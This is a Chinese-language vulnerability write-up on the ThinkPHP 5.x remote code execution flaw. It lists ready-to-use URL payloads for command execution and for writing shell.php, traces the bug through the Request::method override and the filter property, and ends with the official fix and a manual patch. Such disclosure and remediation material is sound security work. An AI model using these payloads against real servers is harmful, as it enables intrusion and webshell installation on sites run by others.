针对<=5.0.23版本
命令执行:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=[系统命令]
文件写入:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][1]=<?php phpinfo();?>
针对<=5.1.31版本
命令执行:?s=index/\think\Request/input&filter=system&data=[系统命令]
文件写入:?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
漏洞分析
漏洞主要出现在 ThinkPHPRequest 类的 method 方法中 (thinkphp/library/think/Request.php)
Request 类可以实现对 HTTP 请求的一些设置,其中成员方法 method 用来获取当前请求类型,其定义如下:
当传入的参数为 false 的时候,会取配置项 var_method,其默认值为_method
$this->{$this->method}($_POST); 通过 post 参数_method 可以实现对当前类的任意方法进行调用。
通过调用当前类的构造方法可以覆盖任意成员属性的值:
这里通过覆盖 filter 属性,filter 属性保存了用于全局过滤的函数。
但是在 thinkphp5.0.23 中,会对 filter 值重新赋值为空,导致无法利用。
在App.php里有
在 thinkphp/library/think/App.php 中开启 debug 的时候会调用 Request 类的 param 方法。
在 thinkphp/library/think/Request.php param 方法中会调用到 method 方法, 并将参数设置为 true。
当参数为 true 的时候,会调用 server 方法
会走到 input 方法,通过之前方法覆盖 server 成员属性值为 array(),input 方法代码如下:
最终会调用 filterValue 形成任意代码执行:
因为,线上项目建议把debug给关掉
官方git修复代码:https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003
手动修复
把下面的代码
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}
改成
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$method = strtoupper($_POST[Config::get('var_method')]);
if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
$this->method = $method;
$this->{$this->method}($_POST);
}
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}